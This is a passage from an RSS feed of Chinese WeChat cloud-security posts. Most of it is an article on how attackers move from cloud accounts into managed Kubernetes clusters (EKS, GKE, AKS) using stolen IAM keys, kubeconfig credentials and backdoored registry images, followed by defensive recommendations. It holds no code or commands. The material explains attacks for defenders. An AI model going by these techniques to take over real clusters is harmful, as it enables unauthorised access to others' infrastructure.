4px;">永远不要给第三方供应商<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>权限，如果是访问元数据，只需要给<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ViewOnlyAccess</p>权限，这样不会访问到真实数据。另一个步骤是尽可能利用加密，因为它要求读取方对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">KMS</p>密钥具有额外的权限，从而减少攻击面。</div><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 683421</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=77095f3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcbFibN9VNhNBFLVvFyzBplvN2xk2UQbnDbjJtp5jdauwtuReGS73iahbQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0cc38e24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcQgcODU5OjbhRicvLSOHN0m1otlf4oZjbB86jeVibbx6ur2F83lcSINxw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6ec2fc69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcg1sgkczQUm1q6ibStc36r24zODefebtoElclKJgTBiciboNe3VZGXDP2g%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=54573e4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcd7wXImIPwa7gKERkjlrN1pTru1uH2RwAzZv3IUtPMbfY3m5bRlemCw%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489493">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c94448ba&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489493%26idx%3D1%26sn%3D3459c23b8c68444c9455eff8f3c31e50">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 May 2023 08:08:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例14: 从入侵云资源到接管K8S</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489492&amp;idx=1&amp;sn=59fc027e7f7c93dc9b0f5addbd568664</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-27 10:32</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4e6e5cb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbzZxtuoJGdWhibqu85lhD0zq0TMB4p2cfQUibvtKqpE5qttPtwy7RY9Fyl9EnHDyRaKVChia6ialrCZZw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在一篇中，介绍了从 Kubernetes 到云域的横向移动技术，在这一篇将分析从云到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 的相反方向的横向移动，并研究 CSP 之间潜在的攻击向量有何不同。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>云到 Kubernetes 黑客 TTP</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">从云环境向托管的 Kubernetes 集群进行横向移动攻击， 黑客可以利用多种技术： 这些包括但不限于利用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 云密钥、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p> 文件和容器注册表镜像。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>1.IAM云密钥</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Wiz 数据显示，使用托管 Kubernetes 集群的云环境大约15%至少有一个云工作节点（例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>、无服务功能、存储桶、网络应用程序），它存有一个长期明文的云密钥，这个密钥关联到一个拥有高<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8S</p>权限的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/ADD</p>用户。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客拿到托管集群相关的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p>云密钥，就可以生成一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件，里面包含该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8S</p>集群相关的信息，如命名空间，用户和校验技术。然后他们会利用这个文件和密钥登录这个集群，访问他们的资源。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，他们访问范围是由身份权限限制的，在这一块，不同云厂商有不同的范围：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">亚马逊云密钥</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客拿到了密钥，登录到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EKS</p>集群，他的权限和密钥相关的身份有关：</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">创建集群的身份，在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EKS</p>控制平台拥有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">system:masters</p>权限，有所有管理权限，可以接管整个集群。</div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);">其它身份，根据身份在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ConfigMap</p>的权限配置访问相应资源</div></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">谷歌云密钥</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客获得用户云密钥，根据用户权限，可能使用创建的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件，来登录租户的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p>集群。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">同样，一个长期的服务账户也可能允许黑客登录到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p>集群。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p>集群中，集群的授权是整合<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8S</p>原生的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RBAC</p>模型和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p>。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RBAC</p>是管控集群和命名空间，而<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p>是管控项目的。一个身份必须具有其中之一，才能够访问资源。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，如果没有明确<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RBAC</p>限制，黑客获取了一个具有组织，目录和项目的管理身份，可以对任何集群有管理权限。</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>云密钥</div></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">有点类似谷歌云的情况，不一样的是，它的影响取决于，是否使用了本地账户，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>集群账户和授权方法。</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">本地账户</p></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于集群并没有和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>整合，所以，用户和管理员都会从集群那里获取一个客户证书。这个证书的名字统一为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">masterclient</p>和属于包含<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cluster-admin/cluster-wide</p>角色的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">system:masters</p>组。所以，即使黑客只是拿到一个最低权限的用户，仍然可以创建<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件来访问集群，获得管理员权限</div><ol start="2" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>认证的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>集群账户</div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>认证有两种方法，在这种情况，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件往往是空的，任何涉及集群API的调用，都会提示用户登录和认证，从而减少被入侵的风险。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而不幸的是，87%使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>云环境都采用本地账户的认证方式。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>2. <p>kubeconfig</p>文件</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">无论黑客以什么身份进入，只要能够找到一个托管集群的一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件，都足够接管整个集群。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>集群使用本地账户认证，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件使用明文的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">client-certificate-data</p> 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">client-key-data</p>就可以让黑客接管集群。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">但如果是用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p>认证，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件会自动修改，包含一个客户ID和刷新的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">token</p>，这个刷新的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">token</p>默认有效期是90天。如果一个黑客在用户登录之后的90天内拿到这个文件，就可以接管集群。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">除了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>云之外，亚马逊云和谷歌云还需要<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p>身份的云密钥，所以黑客必须还得拿到相关的云密钥才能够认证到集群中。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>3.容器注册中心镜像</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果黑客能够入侵了注册中心，也可以推送和修改现有镜像，他们就会往合法的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p>镜像注入后门代码，那么任何一个使用了这个镜像的集群，都会给黑客留下一个后门。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>建议的最佳实践</span></h2><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">避免在工作节点中旋转长期云密钥</p></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);">对外的工作节点上不能有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubeconfig</p>文件</div></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">限制对容器注册中心的访问</p></li></ol><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 600957</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247489492">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8fd6c032&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489492%26idx%3D1%26sn%3D59fc027e7f7c93dc9b0f5addbd568664">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 27 May 2023 10:32:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例13: 从入侵容器到接管整个云</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489470&amp;idx=1&amp;sn=5fa17abf4994850c49bb0f5c89dca038</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-26 07:24</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0902fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBQ1jtcKSwibl2icWlshevrMAvRHtsuK0mppdbJW8JnvfWozuHEb0aZzBQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


